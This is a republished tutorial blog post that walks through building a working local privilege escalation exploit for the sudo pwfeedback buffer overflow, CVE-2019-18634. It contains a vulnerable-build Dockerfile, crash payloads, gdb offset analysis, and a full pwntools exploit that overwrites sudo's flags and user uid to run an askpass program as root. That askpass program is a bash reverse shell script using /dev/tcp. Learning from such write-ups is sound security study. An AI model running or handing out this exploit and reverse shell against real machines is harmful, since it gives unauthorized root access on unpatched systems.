内容简介:My journey started with a member in theAll of these make this bug a very lucarative option for a newbie to start, and since this is just a stack based buffer overflow, I decided to give it a try.To not ruin my default Linux installation, I decided to repro
- This post is a complete walkthrough for the process of writing an exploit for CVE 2019-18634. I will talk about the methedologies used and why is it such a good bug to begin your real world exploitation skills.
- This bug allows for Local Privilege Escalation because of a BSS based overflow, which allows for the overwrite of user_details struct with uid 0, essentially escalating your privilege. This bug can be triggered even by users not listed in the sudoers file
- There is no impact unless pwfeedback has been enabled.
Prelude
My journey started with a member in the OpenToAll slack group posting a link for some CVE advisory . Going through the advisory highlights some of the points which made me think I can use this bug for my first CVE POC.
a user may be able to trigger a stack-based buffer overflow versions 1.7.1 to 1.8.30 inclusive are affected Exploiting the bug does not require sudo permissions the stack overflow may allow unprivileged users to escalate to the root account
All of these make this bug a very lucarative option for a newbie to start, and since this is just a stack based buffer overflow, I decided to give it a try.
Setup
To not ruin my default Linux installation, I decided to reproduce the bug in a docker container. It would be lighter than a full blown VM and I won’t have to worry about the installation ruining something if it goes wrong. 80% of the Dockerfile has been copied from grazfather’s Pwndock . My addition to it is the automatic build script to deploy the sudo version I needed to test. sudouser
for the user which has sudo privileges, and testuser
for the user without sudo privileges.
Dockerfile
RUN adduser --disabled-password --gecos '' sudouser RUN adduser --disabled-password --gecos '' testuser RUN echo sudouser:sudouser | chpasswd RUN echo testuser:testuser | chpasswd COPY sudo-1.8.25p1 /tmp/sudo-1.8.25p1 COPY build /tmp/sudo-1.8.25p1 WORKDIR /tmp/sudo-1.8.25p1 RUN chmod +x ./build RUN ./build
build.sh
Note the pwfeedback
in /etc/sudoers, need to set it to reach the codepath for the vulnerability.
#!/bin/bash sed -e '/^pre-install:/{N;[email protected];@ -a -r $(sudoersdir)/sudoers;@}' -i plugins/sudoers/Makefile.in ./configure --prefix=/usr \ --libexecdir=/usr/lib \ --with-secure-path \ --with-all-insults \ --with-env-editor \ --enable-pie \ --docdir=/usr/share/doc/sudo-1.8.31 \ --with-passprompt="[sudo] password for %p: " make make install ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0 cat > /etc/sudoers << "EOF" Defaults env_reset,pwfeedback Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" root ALL=(ALL:ALL) ALL %admin ALL=(ALL) ALL %sudo ALL=(ALL:ALL) ALL EOF usermod -aG sudo sudouser
Crash
For sudo versions prior to 1.8.26, and on systems with uni-directional pipes, reproducing the bug is simpler. Here, the terminal kill character is set to the NUL character (0x00) since sudo is not reading from a terminal. This method is not effective in newer versions of sudo due to a change in EOF handling introduced in 1.8.26.
I decided to give the 1.8.25p1 version a try. After setting up my docker, I decided to reproduce the crash with the payload given in the advisory. The crash happened as expected.
perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id Password: Segmentation fault (core dumped)
Its time to get to the root of the bug (pun intended)
Debugging
sudo is a suid
binary
-rwsr-xr-x 1 root root 519024 Feb 5 21:29 /usr/bin/sudo
You cannot just run a sudo command from a non privileged user and attach the debugger to it. The debugger needs to run as root and now when sudo is triggered as a non privileged user, the debugger can attach to it given its pid.
Let’s start by setting up a pwntools script to run sudo and give input to it
import sys from pwn import * TARGET=os.path.realpath("/usr/bin/sudo") p = process([TARGET,"-S", "id"]) pause() payload = ("A"*100+"\x00")*50 p.recvuntil("Password: ") p.sendline(payload) p.interactive() sys.exit(0)
Running this pauses the script, giving us time to attach the debugger
Once attached, continue the execution in gdb and press any key to continue the python script.
You can see the result below
[+] Starting local process '/usr/bin/sudo': pid 21958 [*] Paused (press any to continue)
At 00:21, we get a segmentation fault in the debugger and we have the complete stack trace to see how we reached this point. This will come very handy while analysing the bug.
Analysis of the Bug
First a very important line from the advisory
The bug can be reproduced by passing a large input with embedded terminal kill characters to sudo from a pseudo-terminal that cannot be written to
The phrase ‘from a pseudo-terminal that cannot be written to’ is very important as without that specific condition, the bug cannot be triggered, so first let’s focus on that part. We will look at the code to understand how the bug manifests.
Remember from the stack trace, the function which crashes is getln , so lets find that first.
A very good technique to find bits in complete source directory is the grep trick, which can list the files containing a string.
➜ sudo-1.8.25p1 grep -nr "getln" config.h:252:/* Define to 1 if you have the `fgetln' function. */ config.h.in:251:/* Define to 1 if you have the `fgetln' function. */ lib/util/getline.c:43: buf = fgetln(fp, &len); configure.ac:2559: AC_CHECK_FUNCS([fgetln]) src/tgetpass.c:51:static char *getln(int, char *, size_t, int); src/tgetpass.c:178: pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK)); src/tgetpass.c:284: pass = getln(pfd[0], buf, sizeof(buf), 0); src/tgetpass.c:308:getln(int fd, char *buf, size_t bufsiz, int feedback) src/tgetpass.c:314: debug_decl(getln, SUDO_DEBUG_CONV) configure:19226: for ac_func in fgetln configure:19228: ac_fn_c_check_func "$LINENO" "fgetln" "ac_cv_func_fgetln" configure:19229:if test "x$ac_cv_func_fgetln" = xyes; then :
Ignoring the config lines and some calling lines, we can guess tgetpass.c:308 is our candidate
Let’s analyse the bug
static char * getln(int fd, char *buf, size_t bufsiz, int feedback){ size_t left = bufsiz; ssize_t nr = -1; char *cp = buf; char c = '\0'; debug_decl(getln, SUDO_DEBUG_CONV) if (left == 0) { errno = EINVAL; debug_return_str(NULL); /* sanity */ } while (--left) { nr = read(fd, &c, 1); if (nr != 1 || c == '\n' || c == '\r') break; if (feedback) { if (c == sudo_term_kill) { while (cp > buf) { if (write(fd, "\b \b", 3) == -1) break; --cp; } left = bufsiz; continue; } else if (c == sudo_term_erase) { if (cp > buf) { if (write(fd, "\b \b", 3) == -1) break; --cp; left++; } continue; } ignore_result(write(fd, "*", 1)); } *cp++ = c; } *cp = '\0'; if (feedback) { /* erase stars */ while (cp > buf) { if (write(fd, "\b \b", 3) == -1) break; --cp; } } debug_return_str_masked(nr == 1 ? buf : NULL); }
Basically what the function does is, copies buf and bufsiz to new values, cp and left respectively, I am guessing, cp means current pointer. Then it starts looping while there is still space left in the buffer. It uses a read call to read one byte from the file descriptor, and analyses the character received. If it is a new line or carriage return or if no character was read, the loop will break and the password is returned to the caller.
Note the line if(feedback) , in that check, if the feedback is enabled then a ‘*’ needs to be printed on the fd(pty) for every character entered, and if the delete button is pressed, the * needs to be removed. To remove the asterisk ‘\b’ or backspace is written to the fd and this deletes the asterisk.
Can you spot the bug?
if (c == sudo_term_kill) { while (cp > buf) { if (write(fd, "\b \b", 3) == -1) break; --cp; } left = bufsiz; continue;
If the write fails, the loop breaks and the left is set to bufsize, but cp is not reset back to the original position.
Hence it very important to have the write fail, if the write doesn’t fail the bug will never trigger. This answers the cannot be written to part, but what about the pseudo-terminal, why is that needed? To understand that we need to focus on the line if (c == sudo_term_kill) , and see where this sudo_term_kill character comes from. Using the same grep trick, we see the following
➜ sudo-1.8.25p1 grep -nr "sudo_term_kill" lib/util/util.exp:134:sudo_term_kill lib/util/util.exp.in:102:sudo_term_kill lib/util/term.c:101:__dso_public int sudo_term_kill; lib/util/term.c:236: sudo_term_kill = term.c_cc[VKILL]; src/tgetpass.c:305:extern int sudo_term_erase, sudo_term_kill; src/tgetpass.c:326: if (c == sudo_term_kill) {
sudo_term_kill = term.c_cc[VKILL] , looking at the reference for VKILL, we understand that it is something set by termios. sudo uses termios to setup echo/no echo for the password and probably for variety of other things. Using a pty or pseudo-terminal is important because we need null bytes to exploit the bug. If we don’t use a pty, VKILL is set to '\0’ , making exploitaton impossible.
Let’s now write the relevant code which uses a pty and can also make the write fail
import sys,os from pwn import * TARGET=os.path.realpath("/usr/bin/sudo") mfd, sfd = os.openpty() fd = os.open(os.ttyname(sfd), os.O_RDONLY)
We first open a pty with os.openpty() , then we get the name of the fd, and open it in readonly mode, we now pass this fd to the program as the stdin, since the fd was opened in readonly, the write will always fail, we can write to mfd and that data would be sent over to fd, but nothing written to fd would be sent back. So no password prompt now :). We also change the character from “\x00” to “\x15” because null byte now won’t crash the sudo binary.
import sys,os from pwn import * TARGET=os.path.realpath("/usr/bin/sudo") mfd, sfd = os.openpty() fd = os.open(os.ttyname(sfd), os.O_RDONLY) p = process([TARGET,"-S", "id"],stdin=fd) pause() payload = ("A"*100+"\x15")*50 os.write(mfd, payload+"\n") pause() sys.exit(0)
[+] Starting local process '/usr/bin/sudo': pid 4487 [*] Paused (press any to continue) [*] Paused (press any to continue) [*] Process '/usr/bin/sudo' stopped with exit code -11 (SIGSEGV) (pid 4487)
Now that we have reproduced the POC with the right control character ('\x15’) and also can debug it correctly, let’s move on to exploitation.
Exploitation
Runing checksec on the binary
gef➤ checksec [+] checksec for '/usr/bin/sudo' Canary : ✓ NX : ✓ PIE : ✓ Fortify : ✓ RelRO : Full
Looking at this might scare you away from trying to exploit sudo, but let’s focus on the primitives we have. We have a bss overflow and no RIP control, so let’s get creative.
Initially before the exploitation, while looking at the help of sudo, I noticed the askpass option
sudo -h sudo - execute a command as another user -A, --askpass use a helper program for password prompting
man sudodescribes askpass as
Normally, if sudo requires a password, it will read it from the user's terminal. If the -A (askpass) option is speci‐ fied, a (possibly graphical) helper program is executed to read the user's password and output the password to the stan‐ dard output. If the SUDO_ASKPASS environment variable is set, it specifies the path to the helper program. Otherwise, if sudo.conf(5) contains a line specifying the askpass pro‐ gram, that value will be used. For example: # Path to askpass helper program Path askpass /usr/X11R6/bin/ssh-askpass If no askpass program is available, sudo will exit with an error.
Okay, so sudo can execute a user defined program, but at what privileges? Let’s look for the code reference for this askpass
grep reveals sudo_askpass as: (I have not included the unnecessary code from the top and bottom)
/* * Fork a child and exec sudo-askpass to get the password from the user. */ static char * sudo_askpass(const char *askpass, const char *prompt) { child = sudo_debug_fork(); if (child == -1) sudo_fatal(U_("unable to fork")); if (child == 0) { /* child, point stdout to output side of the pipe and exec askpass */ if (dup2(pfd[1], STDOUT_FILENO) == -1) { sudo_warn("dup2"); _exit(255); } if (setuid(ROOT_UID) == -1) sudo_warn("setuid(%d)", ROOT_UID); if (setgid(user_details.gid)) { sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid); _exit(255); } if (setuid(user_details.uid)) { sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid); _exit(255); } closefrom(STDERR_FILENO + 1); execl(askpass, askpass, prompt, (char *)NULL); sudo_warn(U_("unable to run %s"), askpass); _exit(255); }
Note the line setuid(user_details.uid) , our program will be executed with our privileges, but if we manage to set the user_details.uid to 0, our program might run as root. So where does this user_details structure lies? Let’s look at gdb. We set a breakpoint at tgetpass.c:333, and start our python program. Attaching to the debugger and continuing the python program immediately hits the breakpoint.
gef➤ i b Num Type Disp Enb Address What 1 breakpoint keep y 0x0000560340c6b981 in getln at ./tgetpass.c:333 breakpoint already hit 1 time gef➤ p buf $2 = 0x560340e762c0 <buf> "" gef➤ p &user_details $3 = (struct user_details *) 0x560340e76500 <user_details> gef➤ p user_details $4 = { pid = 0x7d6c, ppid = 0x7d69, pgid = 0x7d6c, tcpgid = 0x7d6c, sid = 0x7d6c, uid = 0x3e8, euid = 0x0, gid = 0x3e8, egid = 0x3e8, username = 0x560342e1ecd5 "sudouser", cwd = 0x560342e1ef14 "/mnt", tty = 0x560342e1ef34 "/dev/pts/4", host = 0x560342e1efa5 "sudotester", shell = 0x560342e1ecf0 "/bin/bash", groups = 0x560342e1eea0, ngroups = 0x2, ts_cols = 0x50, ts_lines = 0x18 } gef➤ p/d 0x560340e76500-0x560340e762c0 $5 = 576
Our user_details struct lies 576 bytes ahead of the buffer position , very well, we can very easily change its uid to 0, but how do we make the program follow this path? We cannnot just start sudo with -A flag as the overflow lies in the input prompt. We need to find the code which dictates the path of the program.
➜ src grep -nr "sudo_askpass" tgetpass.c:52:static char *sudo_askpass(const char *, const char *); tgetpass.c:117: debug_return_str_masked(sudo_askpass(askpass, prompt)); tgetpass.c:238:sudo_askpass(const char *askpass, const char *prompt) tgetpass.c:244: debug_decl(sudo_askpass, SUDO_DEBUG_CONV)
sudo_askpassis being called in tgetpass.c line 117
if (ISSET(flags, TGP_ASKPASS)) { if (askpass == NULL || *askpass == '\0') sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS")); debug_return_str_masked(sudo_askpass(askpass, prompt));
If TGP_ASKPASS is set the program takes the execution path and flags is passed as a parameter to tgetpass . Looking at the backtrace, tgetpass was called by sudo_conversation in conversation.c line 72 .
int flags = tgetpass_flags; . . . /* Read the password unless interrupted. */ pass = tgetpass(msg->msg, msg->timeout, flags, callback); if (pass == NULL)
We can now use gdb to switch frames and find the location of tgetpass_flags
gef➤ frame 2 #2 0x0000560340c5a933 in sudo_conversation (num_msgs=<optimized out>, msgs=<optimized out>, replies=0x7ffcb4f7fea8, callback=0x7ffcb4f802f0) at ./conversation.c:72 72 pass = tgetpass(msg->msg, msg->timeout, flags, callback); gef➤ p tgetpass_flags $6 = 0x2 gef➤ p &tgetpass_flags $7 = (int *) 0x560340e764e4 <tgetpass_flags> gef➤ frame 0 #0 getln (fd=0x0, buf=0x560340e762c0 <buf> "", feedback=0x8, bufsiz=0x100) at ./tgetpass.c:334 334 } else if (c == sudo_term_erase) { gef➤ p buf $8 = 0x560340e762c0 <buf> "" gef➤ p/d 0x560340e764e4-0x560340e762c0 $9 = 548
tgetpass_flags lies 548 bytes ahead of the buffer, so we can overwrite the flags too.
We now have our exploit path ready
- Move the pointer ahead by 548 bytes, by abusing the buffer overflow
- SET TGP_ASKPASS flag
- Again move the pointer ahead till we reach user_details struct
- Set UID to 0
At this stage, we just can start the program with SUDO_ASKPASS environment variable set to the program we want to execute and it should all play out perfectly.
When I was filling the buffer, I used the character A to fill the buffer and my program kept crashing because of SIGILL. I was very sure there cannot be a SIGILL because of the type of vulnerability, looking around the code, I spotted, a signo buffer which handled all the signals sudo received and it resent it back to itself. This is why I kept getting a SIGILL. After switching from character A to null byte my root shell popped.
Let’s finish writing the code for the python exploit
We first create the program to be run by askpass, I will be using a reverse shell which connects to out listener on port 4444
rs.sh
#!/bin/bash bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
We then start a server at port 4444
We fill the buffer with 548 0s and then set the flags
We then fill it with 20 more 0s to reach the user_details struct
We then fill the userdetails struct with the right details, but set uid with three null chars as the \n is replaced by \0 by the getln function, making the uid 0
exploit.py
r=listen(4444) mfd, sfd = os.openpty() fd = os.open(os.ttyname(sfd), os.O_RDONLY) p = process([TARGET,"-S", "id"],env={'SUDO_ASKPASS':"/tmp/rs.sh"}, stdin=fd) pid = p.pid ppid = util.proc.parent(pid) payload = "\x00\x15"*548 payload += p64(setFlags("TGP_STDIN|TGP_ASKPASS")) payload += "\x00\x15"*(20) payload += p32(pid) payload += p32(ppid) payload += p32(pid) payload += p32(pid) payload += p32(pid) payload += "\x00"*3 payload += "\n" os.write(mfd, payload) r.wait_for_connection() r.interactive() sys.exit(0)
Result
Conclusion
The exploit can work very easily for versions >=1.8.26 as the eof handler in newer version will only handle the 0x4 or EOF character, not using that character anywhere will lead to a flawless execution of the exploit.
This was a very good learning opportunity for me and I would like to thank @vakzz for helping me deal with the write fails, I initially couldn’t understand how to make the write fail and that was super frustrating but nonetheless a learning experience.
In my opinion, this is a very good vulnerability to start with real world binaries as the complete source code is available and doesn’t require weird pointer manipulations and other stack setup to get a shell, the win function is already present and all you need to do is guide the program to towards it and overflow some bits. It also teaches a lot about terminals, pty, the special characters and ends up being super fun to exploit.
You can find the complete code on my github
Right now it only works for version 1.8.25 but only the offsets need to be changed to put it to use for other versions.
Feel free to ping me on twitter or disqus here for any questions.
以上所述就是小编给大家介绍的《A CVE Journey: From Crash to Local Privilege Escalation (Sudo's Pwfeedback)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Principles of Object-Oriented JavaScript
Nicholas C. Zakas / No Starch Press / 2014-2 / USD 24.95
If you've used a more traditional object-oriented language, such as C++ or Java, JavaScript probably doesn't seem object-oriented at all. It has no concept of classes, and you don't even need to defin......一起来看看 《Principles of Object-Oriented JavaScript》 这本书的介绍吧!